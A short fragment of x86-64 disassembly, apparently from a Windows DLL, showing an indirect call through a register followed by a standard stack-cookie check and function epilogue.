mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x18001b7f0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180010130
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret